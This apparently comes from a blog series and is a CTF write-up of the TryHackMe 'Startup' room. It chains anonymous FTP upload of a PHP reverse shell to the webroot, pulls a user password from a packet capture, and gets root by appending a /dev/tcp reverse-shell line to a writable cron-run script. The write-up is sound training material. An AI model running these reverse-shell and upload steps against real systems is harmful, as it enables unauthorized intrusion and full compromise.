Skip to main content

Command Palette

Search for a command to run...

Startup

Updated
•7 min read•View as Markdown

Lab Info

Detail Info
Room Startup
Platform TryHackMe
Difficulty Easy
Type CTF / Anonymous FTP Upload RCE + PCAP Credential Recovery + Cron Script Hijack
Knowledge Required Web, FTP, PHP Reverse Shells, Wireshark, Linux Cron

Tools Used

  • Nmap / Rustscan — Port scanning

  • Gobuster — Directory enumeration

  • FTP client — Anonymous login, browsing, and uploading

  • php-reverse-shell.php (pentestmonkey) — Foothold via FTP-to-webroot upload

  • Wireshark — Analyzing a captured .pcapng file for leaked credentials

  • Netcat — Catching both the initial and privileged reverse shells

First Impressions

A genuinely well-designed "beginner" room — nothing here is individually hard, but each stage only opens up because of a detail from the stage before it, which is exactly the kind of chaining that's worth building instinct for. Anonymous FTP maps onto the live webroot, so upload becomes execution. A packet capture sitting in an "incidents" folder isn't just flavor text — it's the actual credential source for the next user. And the final privesc hinges entirely on noticing a file's timestamp changing between two ls calls, which is a good lesson in patience over brute-force enumeration.

Recon

nmap -sV -p- <ip>
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Three ports. FTP first, since it's the one worth checking for anonymous access before anything else.

ftp <ip>
Name: anonymous
Password: (blank)

Logs straight in — anonymous auth is enabled. Browsing the FTP root shows a handful of files (an image, a text notice) and, critically, a writable directory.

Confirming the Upload Path Lands in the Webroot

gobuster dir -u http://<ip>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Turns up a single directory: /files. Browsing to it in the browser shows the exact same file listing as the FTP share — meaning the FTP directory and part of the live webroot are the same physical location. Combined with the earlier writable-directory finding, that's upload-to-RCE in two steps: whatever gets put over FTP becomes reachable over HTTP.

Foothold — PHP Reverse Shell via FTP Upload

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

(IP/port patched in first.)

ftp> cd ftp
ftp> put php-reverse-shell.php

Netcat listener up:

nc -lvnp <port>

Then trigger it by browsing to the uploaded file's URL under /files/ftp/. Shell caught.

python -c 'import pty; pty.spawn("/bin/bash")'

Flag 1 — Sitting Right in the Shell's Landing Directory

The very directory the shell lands in has a recipe.txt file — the room's first question ("what is the secret spicy soup recipe?") answered directly, no further digging needed at this stage.

Finding and Analyzing a Packet Capture

Poking around the filesystem turns up an "incidents"-style directory containing suspicious.pcapng. Rather than trying to pull it off the box some other way, the fastest path is reusing the exact upload trick that got the initial foothold: copy the capture into the same FTP-writable/webroot-shared directory, then just download it back out over plain FTP from the attacker machine.

cp suspicious.pcapng /var/www/html/files/ftp
ftp> get suspicious.pcapng
wireshark suspicious.pcapng

Filtering for HTTP methods turns up nothing useful, but a capture named "suspicious" alongside a box that's already had one reverse shell popped through it is worth checking for exactly that pattern again — filtering on the classic default Metasploit/reverse-shell port:

tcp.port == 4444

One stream stands out. Following it (right-click → Follow → TCP Stream) shows a shell session in plaintext, including a password being typed for a user named lennie — a completely different account from the one hinted at by "Maya" mentions elsewhere on the box, which turns out to be a red herring.

Lateral Movement — Becoming lennie

su lennie

Password recovered from the pcap. Lands in lennie's home directory, where user.txt sits — second flag.

Privilege Escalation — A Slowly-Rotating Cron Script

Alongside the user flag, lennie's home has a scripts/ directory containing planner.sh and startup_list.txt. planner.sh is owned by root and not writable — a dead end on its own — but reading its contents shows it calls out to a second script:

/etc/print.sh

Checking permissions on that second file shows it's writable by lennie, even though planner.sh (which invokes it) is not. The natural next question is what's actually running these on a schedule — and the room deliberately doesn't expose a standard system-wide crontab entry for it. The tell instead is behavioral: checking startup_list.txt's timestamp, waiting, and checking again shows it changing roughly once a minute — confirming something (almost certainly root, via a user-level cron job rather than /etc/crontab) is executing planner.sh → print.sh on a schedule, even with no obvious crontab entry to point at directly.

With write access to print.sh confirmed and the execution cadence understood, appending a reverse shell payload to it is enough:

echo 'bash -i >& /dev/tcp/<attacker_ip>/8080 0>&1' >> /etc/print.sh

Netcat listener up:

nc -lvnp 8080

Wait up to a minute for the next cron tick — the callback lands as root. root.txt grabbed — third and final flag.

Flag Summary

Flag Method
Flag 1 (recipe) recipe.txt, found directly in the initial shell's landing directory
Flag 2 (user.txt) su lennie using a password recovered from suspicious.pcapng via Wireshark
Flag 3 (root.txt) Reverse shell appended to the writable /etc/print.sh, triggered by a root-owned cron job calling it via planner.sh

Key Takeaways

  1. Anonymous FTP write access paired with a shared webroot directory is a direct, low-effort RCE path. Neither piece alone is exploitable — upload without execution, or execution without upload — but together they're a complete chain worth checking for as a pair whenever both FTP and HTTP are open on the same box.

  2. Packet captures found on a target aren't just flavor — they're a legitimate credential source. Treating a stray .pcapng as worth downloading and actually opening in Wireshark (rather than skipping it as noise) directly produced the next user's password here.

  3. Filtering a large capture by a suspicious port (like the default Metasploit 4444) is a fast, targeted way to cut through hundreds of irrelevant packets rather than reading a capture linearly.

  4. Not every scheduled task is visible in crontab -l or /etc/crontab. A file's timestamp changing between two checks, with no obvious system cron entry to explain it, is itself a strong signal — worth treating "something updates this periodically" as its own category of evidence rather than only trusting an explicit crontab listing.

  5. A script being non-writable doesn't end the trail — checking what that script calls is the next move. planner.sh was locked down, but the file it invoked wasn't, and that's exactly where the actual vulnerability lived.

  6. Named red herrings (the "Maya" references throughout this box) are a deliberate design choice in a lot of TryHackMe rooms — worth noticing when a detail keeps coming up without ever actually leading anywhere, rather than assuming persistence will eventually make it relevant.

Day 24 of 30 ✅ — See You Tomorrow

7 views